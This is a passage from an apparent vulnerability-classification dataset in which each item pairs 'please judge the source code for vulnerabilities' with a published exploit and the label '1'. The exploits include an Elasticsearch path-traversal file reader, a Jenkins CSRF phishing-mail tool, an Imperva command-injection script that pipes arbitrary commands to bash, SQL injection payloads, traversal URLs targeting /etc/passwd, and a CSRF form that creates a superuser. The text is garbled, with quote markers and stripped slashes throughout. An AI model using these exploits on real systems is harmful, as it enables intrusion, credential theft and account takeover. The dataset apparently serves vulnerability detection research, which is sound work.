quote>dsrquote>}},quote>pwniequote> : {quote>typequote> : quote>fsquote>,quote>settingsquote> : {quote>locationquote> : quote>dsrsnapshotev1lquote>}}}We will use it later to access through path traversal url:trav = quote>ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..quote>The file content itquote>s represented as an array of ints, that needs to be translated into human readable:crg@exploitlab:~$ python elk5531.py localhost etcissue!dSR script for CVE20155531{uquote>statusquote>: 400, uquote>errorquote>: uquote>ElasticsearchParseException[Failed to derive xcontent from (offset=0, length=26): [85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10]]quote>}[85, 98, 117, 110, 116, 117, 32, 49, 50, 46, 48, 52, 46, 53, 32, 76, 84, 83, 32, 92, 110, 32, 92, 108, 10, 10] = Ubuntu 12.04.5 LTS n lThere is also a path disclosure that could help exploiting in some scenarios:crg@exploitlab:~$ python elk5531.py localhost etcpasswda!dSR script for CVE20155531{quote>errorquote>:quote>SnapshotMissingException[[pwn:dsr................etcpasswda] is missing]; nested: FileNotFoundException[vartmpdsrsnapshotdsr................etcpasswda (No such file or directory)]; quote>,quote>statusquote>:404}```import urllib, urllib2, json, sys, reprint quote>!dSR script for CVE20155531nquote>if len(sys.argv) <> 3:print quote>Ex: %s www.example.com etcpasswdquote> % sys.argv[0]sys.exit()host = sys.argv[1]fpath = urllib.quote(sys.argv[2], safe=quote>quote>)port = 9200trav = quote>ev1l%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..quote>reponame = quote>pwnquote>baseurl = quote>http:%s:%ssnapshotquote> % (host, port)xplurl = quote>%s%s%s%squote> % (baseurl, reponame, trav, fpath)def createSnapdirs():try:url = quote>%s%squote> % (baseurl, reponame)request = urllib2.Request(url, data=quote>{quote>typequote>:quote>fsquote>,quote>settingsquote>:{quote>locationquote>:quote>dsrquote>}}quote>)request.getmethod = lambda: quote>POSTquote>urllib2.urlopen(request)url = quote>%s%siequote> % (baseurl, reponame)request = urllib2.Request(url, data=quote>{quote>typequote>:quote>fsquote>,quote>settingsquote>:{quote>locationquote>:quote>dsrsnapshotev1lquote>}}quote>)request.getmethod = lambda: quote>POSTquote>urllib2.urlopen(request)except urllib2.HTTPError, e:data = json.load(e)print quote>[!] ERROR: Verify path.repo exist in config file, elasticsearch.yml:nquote>print str(data[quote>errorquote>])sys.exit()def grabFile(xplurl):try:urllib2.urlopen(xplurl)except urllib2.HTTPError, e:data = json.load(e)extrdata = re.findall(rquote>d+quote>, str(data[quote>errorquote>]))decoder = bytearray()for i in extrdata[+2:]:decoder.append(int(i))print decoderdef main():createSnapdirs()grabFile(xplurl)if name == quote>mainquote>:main()", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "import email.messageimport smtplibimport getpasspayloadlist = [quote>urlquote>,quote>subjectquote>,quote>covermessagequote>,quote>senderquote>,quote>reciverquote>,quote>testemailquote>,quote>smtpserverquote>,quote>lidquote>,quote>lpwquote>]table = {}for i in payloadlist :table.update({i:quote>quote>})def sendmail() :msg = email.message.Message()msg[quote>Subjectquote>] = table[quote>subjectquote>]msg[quote>Fromquote>] = table[quote>senderquote>]msg[quote>Toquote>] = table[quote>reciverquote>]msg.addheader(quote>ContentTypequote>,quote>texthtmlquote>)msg.setpayload(quote>quote>quote>+table[quote>urlquote>]+quote>descriptorByNamehudson.tasks.MailersendTestMail?charset=UTF8&sendTestMailTo=quote>+table[quote>testemailquote>]+quote>&adminAddress=quote>+table[quote>reciverquote>]+quote>&smtpPort=465&smtpServer=quote>+table[quote>smtpserverquote>]+quote>&smtpAuthPasswordSecret=quote>+table[quote>lpwquote>]+quote>&useSMTPAuth=true&useSsl=true&smtpAuthUserName=quote>+table[quote>lidquote>]+quote>quote>>quote>+table[quote>covermessagequote>]+quote><a>quote>)s = smtplib.SMTP(table[quote>smtpserverquote>])s.starttls()s.login(table[quote>lidquote>],table[quote>lpwquote>])s.sendmail(msg[quote>Fromquote>], [msg[quote>Toquote>]], msg.asstring())def urlset() :url = str(input(quote>Jenkins Serverquote>s URL(ex : http:vuln.jenkins.com) : quote>))if len(url) <= 0 :print (quote> Canquote>t Be Null!quote>)urlset()elif url[0:4] != quote>httpquote> :print (quote> URL must start with quote>http:quote> quote>)urlset()else : table[quote>urlquote>] = urldef subjectset() :subject = str(input (quote>SUBJECT [Default : Look! Warning with your Jenkins] : quote>))if len(subject) <= 0 :subject = quote>Look! Waning with your Jenkinsquote>table[quote>subjectquote>] = subjectdef covermessage() :covermessage = str(input (quote>Cover Message [Default : Here is your Vulnable!] : quote>))if len(covermessage) <= 0 :covermessage = quote>Here is your Vulnable!quote>table[quote>covermessagequote>] = covermessagedef sender() :sender = str(input (quote>Attacker Email(ex : attacker@abcd.com) : quote>))if len(sender) <= 0 :print (quote> Canquote>t Be Null!quote>)sender()else : table[quote>senderquote>] = senderdef reciver() :reciver = str(input (quote>Adminquote>s Email(ex : admin@abcd.com) : quote>))if len(reciver) <= 0 :print (quote> Canquote>t Be Null!quote>)reciver()else : table[quote>reciverquote>] = reciverdef testemail() :testemail = str(input (quote>Tester Email(ex : tester@abcd.com) : quote>))if len(testemail) <= 0 :print (quote> Canquote>t Be Null!quote>)testemail()table[quote>testemailquote>] = testemaildef smtpserver() :smtpserver = str(input (quote>SMTPServer [Default : smtp.gmail.com] : quote>))if len(smtpserver) <= 0 :smtpserver = quote>smtp.gmail.comquote>table[quote>smtpserverquote>] = smtpserverdef lid() :lid = str(input (quote>Your SMTPServer ID : quote>))if len(lid) <= 0 :print (quote> Canquote>t Be Null!quote>)lid()table[quote>lidquote>] = liddef lpw() :lpw = str(getpass.getpass(quote>Your SMTPServer PW : quote>))if len(lpw) <= 0 :print (quote> Canquote>t Be Null!quote>)lpw()table[quote>lpwquote>] = lpwdef setall () :urlset()subjectset()covermessage()sender()reciver()testemail()smtpserver()lid()lpw()print (quote>Setting Complit! Use quote>showquote> to check optionsquote>)sethelp = {quote>allquote>:quote>Set all payloadquote>,quote>helpquote>:quote>Show set commendquote>s helpquote>,quote>urlsetquote>:quote>Set only quote>urlsetquote> payloadquote>,quote>subjectsetquote>:quote>Set only quote>urlsetquote> payloadquote>,quote>covermessagequote>:quote>Set only quote>covermessagequote> payloadquote>,quote>senderquote>:quote>Set only quote>senderquote> payloadquote>,quote>reciverquote>:quote>Set only quote>reciverquote> payloadquote>,quote>testemailquote>:quote>Set only quote>testemailquote> payloadquote>,quote>smtpserverquote>:quote>Set only quote>smtpserverquote> payloadquote>,quote>lidquote>:quote>Set only quote>lidquote> payloadquote>,quote>lpwquote>:quote>Set only quote>lpwquote> payloadquote>,}def setselect (a) :if a==quote>allquote> : setall()elif a==quote>urlsetquote> : urlset()elif a==quote>subjectsetquote> : subjectset()elif a==quote>covermessagequote> : covermessage()elif a==quote>senderquote> : sender()elif a==quote>reciverquote> : reciver()elif a==quote>testemailquote> : testemail()elif a==quote>smtpserverquote> : smtpserver()elif a==quote>lidquote> : lid()elif a==quote>lpwquote> : lpw()elif a==quote>helpquote> :for i in sethelp :print (quote> %20s %squote> %(i,sethelp[i]))print (quote>quote>)while True :direct = str(input (quote>CVE20188718 >> quote>)).lower()if direct == quote>helpquote> :print (quote>quote>quote>%10s Show this help menu.%10s [all help urlset subjectset .... ]%10s Set the Payload%10s [all] Show Current Setting.%10s Send CSRF use current setting.quote>quote>quote> %(quote>helpquote>,quote>setquote>,quote>quote>,quote>showquote>,quote>sendquote>))elif direct[0:3] == quote>setquote> :if quote> quote> not in direct :if direct == quote>setquote> :setoption = [quote>helpquote>]else :print (quote> Option error nquote>)else :setoption = direct.split(quote> quote>)[1:]okay = 1if len(setoption) == 1 :if setoption[0] not in sethelp :print (quote> Option error nquote>)else :setselect(setoption[0])elif len(setoption) >= 2 :for i in setoption :if i in [quote>helpquote>, quote>allquote>] :print (quote> *Option [help all] cannot be use with another options nquote>)okay = 0breakfor i in setoption :if i not in sethelp :print (quote> Option error nquote>)okay = 0breakif okay == 1 :for i in setoption :setselect(i)elif direct[:4] == quote>showquote> :if quote> quote> not in direct :if direct == quote>showquote> :for i in table :if i != quote>lpwquote> :print (quote> %20s %squote> %(i,table[i]))print (quote> If you want to see lpw... add [all] optionquote>)print (quote>quote>)else :print (quote> Option error nquote>)else :showoption = direct.split(quote> quote>)[1:]if (len(showoption) == 1 and showoption[0] == quote>allquote>) :for i in table :print (quote> %20s %squote> %(i,table[i]))print ()else :print (quote> Option error nquote>)elif direct == quote>sendquote> :print (quote> Sending CSRF Mail.....quote>)try :sendmail()print (quote> Succed!!nquote>)except :print (quote> Fail....quote>)elif direct == quote>exitquote> :breakelse :print (quote> Usage : helpnquote>)", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "===============T==K==R==D=========================egegen turkish script SQL Injection Vulnerabilityscript: egegenSite script: http:www.egegen.com===============T==K==R==D=========================Found by: FormatXFormaTcontact: hun4r@yahoo.comForum: Tkurd.com===============T==K==R==D=========================Dork:;)===============T==K==R==D=========================Exploit:http:www.localhost.comindex.php?page=urunDetay&id=[sql]http:www.localhost.comindex.php?page=urunDetay&id=[sql]Special Thanks: AngryBoy , Neo , All Tkurd Memebers.===============T==K==R==D=========================", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "Title:======3CX Phone System Authenticated Directory TraversalAuthor:=======Jens Regel, Schneider & Wulf EDVBeratung GmbH & Co. KGCVEID:=======CVE201715359Risk Information:=================CVSS Base Score: 6.8CVSS Vector: CVSS3Timeline:=========20170808 Vulnerability discovered20170810 Asked for security contact20170811 Send details to the vendor20170904 Vendor has confirmed the vulnerability, will be fixed in the next release20171016 Public disclosureAffected Products:==================3CX Phone System 15.5.3554.1 (Debian based installation)Vendor Homepage:================https:www.3cx.comphonesystemdownloadlinksDetails:========In the 3CX Phone System 15.5.3554.1, the Management Console typically listens to port 5001 and is prone to a directory traversal attack:quote>apiRecordingListDownloadRecord?file=quote> and quote>apiSupportInfo?file=quote> are the vulnerable parameters. An attacker must be authenticated to exploitthis issue to access sensitive information to aid in subsequent attacks.The vulnerabilities were found during a penetration test.Proof of Concept:=================~$ curl i k cookie quote>.AspNetCore.Cookies=CfDJ8PTIw(...)quote> https:192.168.0.1:5001apiSupportInfo?file=varlib3cxpbxInstance1Bin3CXPhoneSystem.iniHTTP1.1 200 OKServer: nginxDate: Tue, 08 Aug 2017 13:05:16 GMTContentType: applicationoctetstreamTransferEncoding: chunkedConnection: keepaliveX3CXVersion: 15.5.3554.1ContentDisposition: attachment; filename=quote>varlib3cxpbxInstance1Bin3CXPhoneSystem.iniquote>; filename*=UTF8quote>quote>%2Fvar%2Flib%2F3cxpbx%2FInstance1%2FBin%2F3CXPhoneSystem.iniXFrameOptions: SAMEORIGINStrictTransportSecurity: maxage=15768000[General];connection point to call manager;used by:;a) call manager initializes own listener before it connects to configuration server.;b) components which are working directly with call manager;MUST NOT be used by components which make connection to configuration server.;They MUST use CMAPIIP, CMAPIPORT, CMAPIUSER and CMAPIPASSWORD paramaeters to make direct connection to CallManagerAPIpbxSLNIC=127.0.0.1cmPort=5482pbxuser=instanceInstance158792pbxpass=REMOVEDAppPath=varlib3cxpbxInstance1AppDataPath=varlib3cxpbxInstance1Tenant=Instance1[ConfService];connection point to configuration server for componentsconfNIC=127.0.0.1ConfPort=5485confUser=cfguserdefaultconfPass=REMOVED[CfgServerProfile];configuration server connection to database;exclusively used by configuration serverDBHost=127.0.0.1DBPort=5432MasterDBUser=phonesystemMasterDBPassword=REMOVEDMasterTable=phonesystemmastertableDefFile=Objects.cls[QMDatabase]DBHost=127.0.0.1DBPort=5432DBName=databasesingledbUser=logsreadersingledbPassword=REMOVED[MIMETYPES]MESSAGE=xchatcontrolFix:====Vendor has confirmed the vulnerability, will be fixed in the next release.", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": " PoC: SQLi Request:http:localhost[PATH]firmalar.html?il=0&kat=&kelime=&siralama=yeniVulnerable Parameters: il,kelime,kat (GET)Payload: 0quote>XOR(if(now()=sysdate(),sleep(0),0))XORquote>Z", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "import argparse, sys, base64, jsonimport requestsfrom requests.packages.urllib3.exceptions import InsecureRequestWarningrequests.packages.urllib3.disablewarnings(InsecureRequestWarning)parser = argparse.ArgumentParser()parser.addargument(quote>tquote>, metavar = quote>targetquote>, help = quote>Target hostnameIP addressquote>, type = str, required = True)parser.addargument(quote>pquote>, metavar = quote>passwordquote>, help = quote>Agent registration password for quote>impervaquote> userquote>, type = str, required = False)parser.addargument(quote>cmdquote>, help = quote>Command to be executed on targetquote>, type = str)args = parser.parseargs()targeturl = quote>https:%spwsimpcliquote> % (args.t)session = requests.Session()session.get(targeturl, verify = False)splitmark = quote>SPLITMARKquote>payload = quote>$(printf %s | base64 d | bash)quote> % (base64.b64encode(args.cmd))headers = {}if args.p is not None:headers[quote>Authorizationquote>] = quote>Basic quote> + base64.b64encode(quote>imperva:quote> + args.p)body = {quote>commandquote>: quote>impctl server statusquote>,quote>parametersquote>: {quote>broadcastquote>: True,quote>installeraddressquote>: quote>127.0.0.1 %s%s%squote> % (splitmark, payload, splitmark)}}print(quote>[*] Sending payload to %s...quote> % (targeturl))response = session.post(targeturl, headers = headers, data = json.dumps(body), verify = False)if splitmark in response.text:print(quote>[*] Received command execution output:quote>)print(response.text.split(splitmark)[1])elif response.statuscode == requests.codes.unauthorized:print(quote>[!] Gateway Authentication required, please provide agent registration password.quote>)else:print(quote>[!] Failed to execute command on target.quote>)", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "+++ Ericsson Drutt MSDP (Instance Monitor) Directory Traversal Vulnerability and Arbitrary File Access +++Affected Product: Ericsson Drutt MSDP (Instance Monitor)Vendor Homepage : www.ericsson.comVersion : 4, 5 and 6CVE v2 Vector : AV:NAC:LAu:NC:PI:NA:NCVE : CVE20152166Discovered by : Anastasios Monachos (secuid0) [anastasiosm (at) gmail (dot) com]Patched : Yes+++ Description +++Ericsson Drutt Mobile Service Delivery Platform (MSDP) is a complete business support system providing an SDP center for both on and offportal business that includes support for the retail, advertising and wholesale of a wide range of different products and services. The MSDP was originally developed by Drutt Corporation which Ericsson bought back in 2007. Drutt was converted into Ericsson SA SD&P and they are still developing the MSDP. The platform is available in three configurations which also can be combined in the same installation: Storefront, Mobile Marketing and Open Surf.The identified vulnerability affects the Instance Monitor component and allows a unauthenticated remote attacker to access arbitrary files on the file system.+++ Exploitation Details +++This vulnerability can be triggered via a simple, similar to the below HTTP GET request(s):http::..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetcpasswdhttp::..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2foptdruttmsdpmanagerconfpropsmsdpusers.propertieshttp::..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2foptdruttmsdpmanagerconfccContext.properties+++ Disclosure Timeline +++17.Feb.2015 Contacted Ericsson http:www.ericsson.comfeedback24.Feb.2015 Ericsson responded with point of contact at Corporate Security Office24.Feb.2015 Contacted Corporate Security Office team02.Mar.2015 Ericsson Product Security Incident Response Team reverted via a secure channel02.Mar.2015 Shared vulnerability details06.Mar.2015 Ericsson confirmed the validity of the issues and started developing the patches08.Mar.2015 Agreed on public disclosure timelines12.Mar.2015 Patches released31.Mar.2015 Public disclosure", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "quote>https:Targetcgibinplweb.cgiutilconfigloginactquote> method=quote>POSTquote>>quote>hiddenquote> name=quote>savecrtcfgquote> value=quote>checkedquote> >quote>hiddenquote> name=quote>userusername1quote> value=quote>rootquote> >quote>hiddenquote> name=quote>userenabled1quote> value=quote>onquote> >quote>hiddenquote> name=quote>userpasswd1quote> value=quote>quote> >quote>hiddenquote> name=quote>userpasswdverify1quote> value=quote>quote> >quote>hiddenquote> name=quote>userdelete1quote> value=quote>quote> >quote>hiddenquote> name=quote>userusername2quote> value=quote>adminquote> >quote>hiddenquote> name=quote>userpasswd2quote> value=quote>quote> >quote>hiddenquote> name=quote>userpasswdverify2quote> value=quote>quote> >quote>hiddenquote> name=quote>userdelete2quote> value=quote>quote> >quote>hiddenquote> name=quote>userusername3quote> value=quote>userquote> >quote>hiddenquote> name=quote>userenabled3quote> value=quote>onquote> >quote>hiddenquote> name=quote>userpasswd3quote> value=quote>quote> >quote>hiddenquote> name=quote>userpasswdverify3quote> value=quote>quote> >quote>hiddenquote> name=quote>userdelete3quote> value=quote>quote> >quote>hiddenquote> name=quote>userusername4quote> value=quote>h4x0rquote> >quote>hiddenquote> name=quote>userenabled4quote> value=quote>onquote> >quote>hiddenquote> name=quote>usersuperuser4quote> value=quote>onquote> >quote>hiddenquote> name=quote>userpasswd4quote> value=quote>123123quote> >quote>hiddenquote> name=quote>userpasswdverify4quote> value=quote>123123quote> >quote>hiddenquote> name=quote>usersnumquote> value=quote>4quote> >quote>hiddenquote> name=quote>pagequote> value=quote>utilconfigloginquote> >quote>hiddenquote> name=quote>valrequestedpagequote> value=quote>useraccountsquote> >quote>hiddenquote> name=quote>savecrtcfgquote> value=quote>checkedquote> >quote>hiddenquote> name=quote>pageuuidquote> value=quote>3e2774f91cd34d36a91eeb9e42b5ba0dquote> >quote>hiddenquote> name=quote>formhaschangedquote> value=quote>1quote> >quote>submitquote> value=quote>Supersize!quote> ><form><body><html>", "output": "1" }, { "instruction": "please judge the source code for vulnerabilities.", "input": "POST rc?task=settings&action=plugin.filterssave HTTP1.1Host: TargetUserAgent: Mozilla5.0AcceptLanguage: enUS,en;q=0.5AcceptEncoding: gzip, deflateContentType: applicationxwwwformurlencodedContentLength: 119Referer: https:Targetrc?action=plugin.filters&task=settingsCookie: roundcubesessid=; roundcubesessauth=Connection: closeUpgradeInsecureRequests: 1token=09bcde247d252364ea55c217c7654a1f&whatfilter=from]